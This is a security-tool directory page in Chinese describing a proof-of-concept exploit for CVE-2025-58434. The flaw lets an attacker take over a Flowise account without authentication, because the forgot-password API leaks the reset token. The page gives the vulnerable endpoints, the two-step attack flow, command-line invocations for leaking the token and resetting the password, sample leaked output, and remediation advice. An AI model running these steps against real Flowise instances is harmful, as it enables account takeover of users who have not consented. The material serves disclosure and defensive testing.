Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-58434-poc — 概念验证漏洞利用用于 CVE-2025-58434,演示通过泄露的密码重置令牌在 Flowise 中实现未认证账户接管。包括两阶段攻击:令牌泄露和密码重置。 | Kitploit
工具/GitHubGitHub/kartik2005221/cve-2025-58434-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证学习与教育红队
GitHubkartik2005221/cve-2025-58434-poc

CVE-2025-58434-poc

概念验证漏洞利用用于 CVE-2025-58434,演示通过泄露的密码重置令牌在 Flowise 中实现未认证账户接管。包括两阶段攻击:令牌泄露和密码重置。

查看仓库
1465个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-58434 — Flowise 账户接管漏洞(令牌泄露)

CVE CVSS Python License Disclosure

⚠️ 本仓库仅供教育和授权的安全研究使用。
针对非你拥有或未获明确授权的系统进行未经授权的使用属于违法行为。


目录

  • 概述
  • 漏洞详情
  • 攻击流程
  • 受影响版本
  • 仓库结构
  • 环境要求
  • 安装
  • 使用说明
  • 示例输出
  • 修复建议
  • 披露时间线
  • 参考链接
  • 免责声明

概述

Flowise(包括云端和自托管版本)的 forgot-password 端点在 HTTP 响应体中直接返回有效的密码重置令牌 (tempToken) —— 完全无需电子邮件验证或身份认证。

这意味着只要攻击者知晓(或能猜到)受害者的电子邮件地址,即可:

  1. 调用 forgot-password 端点 → 在 JSON 响应中获取 tempToken
  2. 使用该 tempToken 调用 reset-password → 设置任意新密码
  3. 登录受害者账户 → 完全账户接管 (ATO)

无需预先访问权限,无需用户交互,也无需电子邮件访问权限。


漏洞详情

字段值
CVE IDCVE-2025-58434
CVSS 分数9.8(严重)
CVSS 向量CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-640: 弱密码恢复机制
类型认证绕过 / 不安全的直接对象引用
受影响应用Flowise(云端 + 自托管)
端点 1POST /api/v1/account/forgot-password
端点 2POST /api/v1/account/reset-password

根本原因

forgot-password 处理程序将完整的用户记录——包括生成的 tempToken——直接返回在 API 响应中,而不是仅将其发送至用户注册的电子邮件地址。

{
  "user": {
    "id": "<uuid>",
    "name": "Victim Name",
    "email": "[email protected]",
    "credential": "<bcrypt-hash>",
    "tempToken": "<LEAKED_TOKEN_HERE>",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

攻击流程

攻击者                                Flowise API
   │                                       │
   │  POST /forgot-password {email}        │
   │──────────────────────────────────────►│
   │                                       │  (生成 tempToken)
   │◄──────────────────────────────────────│
   │  201 { tempToken: "abc123..." }       │
   │                                       │
   │  POST /reset-password {email,         │
   │         tempToken, newPassword}       │
   │──────────────────────────────────────►│
   │                                       │
   │◄──────────────────────────────────────│
   │  200 OK  (密码已更改!)                │
   │                                       │
   ✓  账户接管完成

受影响版本

  • Flowise 云端 (cloud.flowiseai.com) — 确认受影响
  • 所有在修复版本发布之前的自托管 Flowise 部署

查看官方 Flowise GitHub了解已修复的版本信息。


仓库结构

CVE-2025-58434/
├── cve_2025_58434_poc.py   # 主 PoC 脚本(两阶段 ATO)
├── requirements.txt         # Python 依赖
├── README.md                # 本文件
└── DISCLAIMER.md            # 法律声明(使用前请阅读)

环境要求

  • Python 3.7 或更高版本
  • requests 库

安装

# 克隆仓库
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434

# 安装依赖
pip install -r requirements.txt

使用说明

帮助信息

python3 cve_2025_58434_poc.py --help

阶段 1 — 泄露令牌(信息收集)

确认实例存在漏洞并获取 tempToken,不重置任何密码。

python3 cve_2025_58434_poc.py \
  --url https://flowise.example.com \
  --email [email protected]

阶段 2 — 完全账户接管

利用泄露的令牌立即重置密码。

python3 cve_2025_58434_poc.py \
  --url https://flowise.example.com \
  --email [email protected] \
  --reset \
  --new-password "MyNewP@ss2025!"

导出原始 JSON 响应

python3 cve_2025_58434_poc.py \
  --url https://flowise.example.com \
  --email [email protected] \
  --json-output

全部选项

标志缩写描述默认值
--url URL-uFlowise 实例的基础 URL(必填)
--email EMAIL-e目标账户的电子邮件地址(必填)
--reset-r执行第二阶段:使用泄露的令牌重置密码False
--new-password PASS-p要设置的新密码(与 --reset 配合使用)Changeme@2025!
--timeout SECONDS-tHTTP 请求超时时间10
--json-output-j将原始 JSON API 响应打印到标准输出False

示例输出

  [Step 1] Sending forgot-password request …
  [*] HTTP Status : 201

  ========================================================================
    LEAKED ACCOUNT DATA
  ========================================================================
    User ID       : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
    Name          : Admin User
    Email         : [email protected]
    Credential    : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    Status        : active
    tempToken     : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
    tokenExpiry   : 2025-08-19T13:00:33.834Z
  ========================================================================

  [+] tempToken obtained  : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  [!] VULNERABLE: The instance leaks password reset tokens unauthenticated!

修复建议

如果你是 Flowise 实例的运维人员,请立即应用以下缓解措施:

  1. 绝不在 API 响应中返回重置令牌。 仅通过注册的电子邮件地址发送令牌。
  2. 返回通用成功消息:无论邮箱是否存在,forgot-password 均返回相同的成功消息 —— 这还可以防止账户枚举。
  3. 强制令牌约束:
    • 一次性使用(使用后立即失效)
    • 短有效期(例如 15 分钟)
    • 尽可能绑定请求 IP / User-Agent
  4. 对所有部署模式应用修复 —— 云端和自托管。
  5. 对 forgot-password 端点添加速率限制。
  6. 记录并告警 异常的密码重置活动。
  7. 考虑为管理员和高权限账户启用多因素认证 (MFA)。

披露时间线

日期事件
2025-08-19发现并报告漏洞
待定厂商确认
待定发布补丁
待定公开披露

参考链接

  • GitHub 安全公告 GHSA-wgpv-6j63-x5ph
  • NVD — CVE-2025-58434
  • Flowise GitHub 仓库
  • CWE-640: 弱密码恢复机制

免责声明

本项目仅用于教育目的和授权的渗透测试。

  • 请勿在未经系统所有者明确书面许可的情况下对本工具针对任何系统运行。
  • 本仓库的作者不承担任何因未经授权使用而产生的滥用、损害或法律后果的责任。
  • 完整法律声明请参阅 DISCLAIMER.md。
下载工具